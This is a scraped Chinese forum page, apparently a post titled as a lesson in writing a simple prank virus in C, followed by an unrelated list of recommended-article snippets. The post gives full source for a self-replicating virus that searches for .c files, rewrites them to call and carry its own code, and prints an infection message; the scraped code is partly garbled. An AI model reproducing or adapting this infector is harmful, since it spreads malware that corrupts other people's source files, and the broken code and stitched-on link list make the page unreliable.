该楼层疑似违规已被系统折叠 隐藏此楼查看此楼

代码如下:

#include

#include

void main(void)

{

virus();

}

int virus()

{

struct ffblk ffblk;

FILE *in,*out,*read;

char *virus="virus.c";

char buf[50][80];

char *p;

char *end="return";

char *bracket="}";

char *main="main";

char *include[2]={"stdio.h","dir.h"};

char *int_virus="int virus()";

char *buffer;

int done,i,j=0,flag=0;

printf("\nI have a virus. Writen by PuBin\n");

done = findfirst("*.c",&ffblk,0);

while (!done)

{

i=0;

if ((in = fopen(ffblk.ff_name, "rt"))== NULL)

{

goto next;

}

do{

if(i>=50)

{

fclose(in);

goto next;

}

p=fgets(buf[i],80,in);

i++;

}while(p!=NULL);

fclose(in);

out=fopen(ffblk.ff_name,"w+t");

fputs("#include\n",out);

fputs("#include

\n",out);

do

{

if(strstr(buf[j],main)!=NULL)

{

for(;j

if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL)

fputs(buf[j],out);

else

{

if(flag==0)

{

flag=1;

fputs("virus();\n",out);

}

fputs(buf[j],out);

}

}

else if((strstr(buf[j],include[0])==NULL)

&&(strstr(buf[j],include[1])==NULL))

{

fputs(buf[j],out);

j++;

}

else

j++;

}while(j

read=fopen(virus,"rt");

do

{

p=fgets(buffer,80,read);

if(strstr(buffer,int_virus))

while(p!=NULL)

{

if(strstr(buffer,virus)==NULL)

fputs(buffer,out);

else

{

fputs(" char *virus=\"",out);

fputs(ffblk.ff_name,out);

fputs("\";\n",out);

}

p=fgets(buffer,80,read);

}

}while(p!=NULL);

fclose(read);

fclose(out);

printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);

next: done = findnext(&ffblk);

}

return 0;

}

c语言如何做简单整人病毒,来来来,教你一个用C语言写个小病毒相关推荐

  1. c语言游戏总出bug,C语言 编写的简单移动游戏出现bug?_编程_游戏设计_C语言_天涯问答_天涯社区...

    C语言 编写的简单移动游戏出现bug? 第一次按上下左右没什么问题,之后就会卡住..不知道出了什么错 源码如下:(用vc++的win32 console程序编写) #include #include ...

  2. 零基础如何学习C语言?大神亲手总结 17 招,教你玩转C语言!

    C语言是我们大多数人的编程入门语言,对其也再熟悉不过了,不过很多初学者在学习的过程中难免会出现迷茫,比如:不知道C语言可以开发哪些项目,可以应用在哪些实际的开发中-- 这些迷茫也导致了我们在学习的过程 ...

  3. c语言编译器做病毒,来来来,教你一个用C语言写个小病毒

    该楼层疑似违规已被系统折叠 隐藏此楼查看此楼 代码如下: #include #include void main(void) { virus(); } int virus() { struct ffb ...

  4. 怎么用c语言写病毒程序,来来来,教你一个用C语言写个小病毒

    该楼层疑似违规已被系统折叠 隐藏此楼查看此楼 代码如下: #include #include void main(void) { virus(); } int virus() { struct ffb ...

  5. c语言病毒源代码 小型,来来来,教你一个用C语言写个小病毒

    该楼层疑似违规已被系统折叠 隐藏此楼查看此楼 代码如下: #include #include void main(void) { virus(); } int virus() { struct ffb ...

  6. python语言能做什么软件-什么是Python语言,Python语言可以用来做什么?

    什么是Python语言? Python是一种计算机程序设计语言.你可能已经听说过很多种流行的编程语言,比如非常难学的C语言,非常流行的Java语言,适合初学者的Basic语言,适合网页编程的JavaS ...

  7. 为什么很多公司转型 Go 语言开发?Go 语言能做什么

    来源:jianshu.com/p/620519a3412a 1.为什么选择Go语言 2.Go语言能做什么 3.国内外有哪些企业或项目使用Go语言 4.写在最后 1.为什么选择Go语言 选择Go语言的原 ...

  8. 0000-0-1-C语言可以做什么C语言可以干啥C++语言可以做什么C++语言可以干啥C语言就业前景C++就业前景

    C语言可以做什么C语言可以干啥C++语言可以做什么 C++语言可以干啥C语言就业前景C++就业前景 我看到很多伙伴问这些问题 我也看到很多伙伴给出自己的答案 我也在这个圈子,看着数以千计的伙伴通过学习 ...

  9. 华为手机如何实现语音转文字?简单的很,一步步教你完成

    很多小伙伴,在会议或者采访的时候,需要将对话转换成文字.比较常见的方法是用手机进行录音.在录音结束后再自己慢慢的听译,将录音转换成文字.这个方法占用了很多的工作时间,还很麻烦.那么有没有简单轻松的能够 ...

最新文章

  1. java平台类成员访问修饰符_JAVA类的修饰符及访问权限
  2. java 文件夹删除_java创建删除文件及文件夹大全
  3. kodi教程_KODI清理缓存插件安装设置教程
  4. 交换环境下的冗余及负载分担技术(STP Channel HSRP)
  5. python使用集合实现筛选法求素数-python素数筛选法浅析
  6. echarts格式化tooltip数据
  7. 初级线段树讲解---转
  8. S3C2410 bootloader ----VIVI阅读笔记 (转)下
  9. exchange 删除邮件
  10. mysql 查询视图是否存在_sql server判断数据库、表、列、视图是否存在
  11. java 夏令时标志_夏令时随绝对日期而变化
  12. JS数组操作之增删改查
  13. 计算机网络 教学大纲 谢希仁,《计算机网络》教学大纲.doc
  14. Redhat Linux安装JDK 1.7
  15. pyltp环境的搭建
  16. 从零开始入门芯片行业
  17. 【学习笔记】广义逆矩阵及共轭转置求解
  18. 地下迷宫探索 java_Java 8:探索可能性
  19. 2020年史上最全移动端Web整理从开发基础到实战(三)
  20. 给一个字符类型的数组chas和一个整数size,请把大小为size的左半区整体右移到右半区,右半区整体移动到左边。

热门文章

  1. 从零开始在服务器上搭建QQ机器人——起步(一)
  2. 在数据中随机抽取一定比例的数据为训练集,剩下的为测试集的小方法
  3. [转载]Radmin的命令行参数
  4. Java按行读取大文件
  5. 安卓 Android 11、12 不使用第三方 Recovery TWRP 刷入 Magisk v22+ 支持联发科
  6. 2022年初级经济师考试经济基础练习题及答案
  7. GBASE南大通用受邀参加用友商业伙伴大会 共助信创数智转型
  8. Android studio+idea+tomcat+mysql实现网络视频播放器app全套源码(前端后端都有)
  9. php验证电话号码是否合法,js代码验证手机号码和电话号码是否合法_javascript技巧...
  10. 运营人员可以掌握的5个SEO基础知识(无需技术经验)